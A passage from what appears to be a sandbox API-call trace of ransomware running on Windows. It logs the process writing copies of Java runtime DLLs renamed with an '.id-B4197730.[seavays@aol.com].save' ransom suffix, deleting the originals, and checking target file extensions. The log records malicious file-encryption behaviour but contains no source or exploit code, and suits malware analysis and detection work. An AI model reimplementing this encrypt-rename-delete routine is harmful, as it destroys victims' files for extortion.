Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0076.978] GetLastError () returned 0x0 [0076.978] ReadFile (in: hFile=0x348, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x7440, lpOverlapped=0x0) returned 1 [0076.980] WriteFile (in: hFile=0x39c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x7450, lpOverlapped=0x0) returned 1 [0076.982] ReadFile (in: hFile=0x348, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.982] WriteFile (in: hFile=0x39c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf6, lpOverlapped=0x0) returned 1 [0076.982] SetEndOfFile (hFile=0x39c) returned 1 [0076.982] CloseHandle (hObject=0x39c) returned 1 [0076.982] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.982] SetEndOfFile (hFile=0x348) returned 1 [0076.983] CloseHandle (hObject=0x348) returned 1 [0076.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.983] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 1 [0076.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0076.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0076.984] lstrlenW (lpString=".doc") returned 4 [0076.984] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.984] lstrlenW (lpString=".docx") returned 5 [0076.984] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0076.984] lstrlenW (lpString=".pdf") returned 4 [0076.984] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.984] lstrlenW (lpString=".xls") returned 4 [0076.984] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.984] lstrlenW (lpString=".xlsx") returned 5 [0076.984] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0076.984] lstrlenW (lpString=".ppt") returned 4 [0076.984] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0076.984] lstrlenW (lpString=".zip") returned 4 [0076.984] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.984] lstrlenW (lpString=".rar") returned 4 [0076.984] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.984] lstrlenW (lpString=".bz2") returned 4 [0076.985] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.985] lstrlenW (lpString=".7z") returned 3 [0076.985] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0076.985] lstrlenW (lpString=".dbf") returned 4 [0076.985] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0076.985] lstrlenW (lpString=".1cd") returned 4 [0076.985] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0076.985] lstrlenW (lpString=".jpg") returned 4 [0076.985] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.986] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.986] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.986] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0076.987] GetLastError () returned 0x0 [0076.987] ReadFile (in: hFile=0x348, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x3840, lpOverlapped=0x0) returned 1 [0076.989] WriteFile (in: hFile=0x39c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x3850, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x3850, lpOverlapped=0x0) returned 1 [0076.990] ReadFile (in: hFile=0x348, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.990] WriteFile (in: hFile=0x39c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xe4, lpOverlapped=0x0) returned 1 [0076.990] SetEndOfFile (hFile=0x39c) returned 1 [0076.990] CloseHandle (hObject=0x39c) returned 1 [0076.990] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.990] SetEndOfFile (hFile=0x348) returned 1 [0076.991] CloseHandle (hObject=0x348) returned 1 [0076.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.991] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 1 [0076.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0076.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0076.992] lstrlenW (lpString=".doc") returned 4 [0076.992] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.992] lstrlenW (lpString=".docx") returned 5 [0076.992] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0076.992] lstrlenW (lpString=".pdf") returned 4 [0076.992] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.992] lstrlenW (lpString=".xls") returned 4 [0076.992] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.992] lstrlenW (lpString=".xlsx") returned 5 [0076.992] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0076.992] lstrlenW (lpString=".ppt") returned 4 [0076.992] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0076.992] lstrlenW (lpString=".zip") returned 4 [0076.992] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.992] lstrlenW (lpString=".rar") returned 4 [0076.992] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.992] lstrlenW (lpString=".bz2") returned 4 [0076.992] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.992] lstrlenW (lpString=".7z") returned 3 [0076.992] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0076.992] lstrlenW (lpString=".dbf") returned 4 [0076.993] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0076.993] lstrlenW (lpString=".1cd") returned 4 [0076.993] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0076.993] lstrlenW (lpString=".jpg") returned 4 [0076.993] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.993] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.993] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0076.994] GetLastError () returned 0x0 [0076.994] ReadFile (in: hFile=0x348, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x3c40, lpOverlapped=0x0) returned 1 [0076.996] WriteFile (in: hFile=0x39c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x3c50, lpOverlapped=0x0) returned 1 [0077.002] ReadFile (in: hFile=0x348, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.002] WriteFile (in: hFile=0x39c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x102, lpOverlapped=0x0) returned 1 [0077.002] SetEndOfFile (hFile=0x39c) returned 1 [0077.002] CloseHandle (hObject=0x39c) returned 1 [0077.002] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.002] SetEndOfFile (hFile=0x348) returned 1 [0077.003] CloseHandle (hObject=0x348) returned 1 [0077.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0077.004] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 1 [0077.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0077.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0077.004] lstrlenW (lpString=".doc") returned 4 [0077.004] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.004] lstrlenW (lpString=".docx") returned 5 [0077.004] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0077.004] lstrlenW (lpString=".pdf") returned 4 [0077.004] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.004] lstrlenW (lpString=".xls") returned 4 [0077.004] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.004] lstrlenW (lpString=".xlsx") returned 5 [0077.004] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0077.004] lstrlenW (lpString=".ppt") returned 4 [0077.004] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0077.005] lstrlenW (lpString=".zip") returned 4 [0077.005] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.005] lstrlenW (lpString=".rar") returned 4 [0077.005] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.005] lstrlenW (lpString=".bz2") returned 4 [0077.005] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.005] lstrlenW (lpString=".7z") returned 3 [0077.005] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0077.005] lstrlenW (lpString=".dbf") returned 4 [0077.005] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0077.005] lstrlenW (lpString=".1cd") returned 4 [0077.005] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0077.005] lstrlenW (lpString=".jpg") returned 4 [0077.005] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.795] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.795] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.796] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.799] GetLastError () returned 0x0 [0077.799] ReadFile (in: hFile=0x2ec, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x31440, lpOverlapped=0x0) returned 1 [0077.807] WriteFile (in: hFile=0x37c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x31450, lpOverlapped=0x0) returned 1 [0077.813] ReadFile (in: hFile=0x2ec, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.813] WriteFile (in: hFile=0x37c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xe4, lpOverlapped=0x0) returned 1 [0077.813] SetEndOfFile (hFile=0x37c) returned 1 [0077.813] CloseHandle (hObject=0x37c) returned 1 [0077.814] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.814] SetEndOfFile (hFile=0x2ec) returned 1 [0077.816] CloseHandle (hObject=0x2ec) returned 1 [0077.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0077.817] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 1 [0077.817] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0077.817] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0077.818] lstrlenW (lpString=".doc") returned 4 [0077.818] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.818] lstrlenW (lpString=".docx") returned 5 [0077.818] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0077.818] lstrlenW (lpString=".pdf") returned 4 [0077.818] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.818] lstrlenW (lpString=".xls") returned 4 [0077.818] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.818] lstrlenW (lpString=".xlsx") returned 5 [0077.818] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0077.818] lstrlenW (lpString=".ppt") returned 4 [0077.818] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0077.818] lstrlenW (lpString=".zip") returned 4 [0077.818] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.818] lstrlenW (lpString=".rar") returned 4 [0077.818] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.818] lstrlenW (lpString=".bz2") returned 4 [0077.818] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.818] lstrlenW (lpString=".7z") returned 3 [0077.818] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0077.818] lstrlenW (lpString=".dbf") returned 4 [0077.818] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0077.818] lstrlenW (lpString=".1cd") returned 4 [0077.819] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0077.819] lstrlenW (lpString=".jpg") returned 4 [0077.819] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0077.821] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0077.821] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc64 | out: lpNewFilePointer=0x0) returned 1 [0077.821] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc24 | out: lpNewFilePointer=0x0) returned 1 [0077.821] ReadFile (in: hFile=0x2ec, lpBuffer=0x39ea058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc30, lpOverlapped=0x0 | out: lpBuffer=0x39ea058*, lpNumberOfBytesRead=0x2ecfc30*=0x40000, lpOverlapped=0x0) returned 1 [0077.848] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc24 | out: lpNewFilePointer=0x0) returned 1 [0077.848] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a2a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc30, lpOverlapped=0x0 | out: lpBuffer=0x3a2a058*, lpNumberOfBytesRead=0x2ecfc30*=0x40000, lpOverlapped=0x0) returned 1 [0077.852] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.852] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc24 | out: lpNewFilePointer=0x0) returned 1 [0077.852] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a6a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc30, lpOverlapped=0x0 | out: lpBuffer=0x3a6a058*, lpNumberOfBytesRead=0x2ecfc30*=0x40000, lpOverlapped=0x0) returned 1 [0078.289] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.289] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2ecfca8, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfca8*=0xc0106, lpOverlapped=0x0) returned 1 [0078.306] SetEndOfFile (hFile=0x2ec) returned 1 [0078.331] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x440b820 [0078.350] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc74 | out: lpNewFilePointer=0x0) returned 1 [0078.350] WriteFile (in: hFile=0x2ec, lpBuffer=0x440b820*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc80, lpOverlapped=0x0 | out: lpBuffer=0x440b820*, lpNumberOfBytesWritten=0x2ecfc80*=0x40000, lpOverlapped=0x0) returned 1 [0078.351] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc74 | out: lpNewFilePointer=0x0) returned 1 [0078.351] WriteFile (in: hFile=0x2ec, lpBuffer=0x440b820*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc80, lpOverlapped=0x0 | out: lpBuffer=0x440b820*, lpNumberOfBytesWritten=0x2ecfc80*=0x40000, lpOverlapped=0x0) returned 1 [0078.352] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc74 | out: lpNewFilePointer=0x0) returned 1 [0078.352] WriteFile (in: hFile=0x2ec, lpBuffer=0x440b820*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc80, lpOverlapped=0x0 | out: lpBuffer=0x440b820*, lpNumberOfBytesWritten=0x2ecfc80*=0x40000, lpOverlapped=0x0) returned 1 [0078.354] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.355] CloseHandle (hObject=0x2ec) returned 1 [0078.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0078.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0078.360] lstrlenW (lpString=".doc") returned 4 [0078.360] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.360] lstrlenW (lpString=".docx") returned 5 [0078.360] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0078.360] lstrlenW (lpString=".pdf") returned 4 [0078.360] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.360] lstrlenW (lpString=".xls") returned 4 [0078.360] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.361] lstrlenW (lpString=".xlsx") returned 5 [0078.361] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0078.361] lstrlenW (lpString=".ppt") returned 4 [0078.361] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0078.361] lstrlenW (lpString=".zip") returned 4 [0078.361] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.361] lstrlenW (lpString=".rar") returned 4 [0078.361] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.361] lstrlenW (lpString=".bz2") returned 4 [0078.361] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.361] lstrlenW (lpString=".7z") returned 3 [0078.361] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0078.361] lstrlenW (lpString=".dbf") returned 4 [0078.361] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0078.361] lstrlenW (lpString=".1cd") returned 4 [0078.361] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0078.361] lstrlenW (lpString=".jpg") returned 4 [0078.361] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.815] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.815] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.815] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.816] GetLastError () returned 0x0 [0078.816] ReadFile (in: hFile=0x344, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: 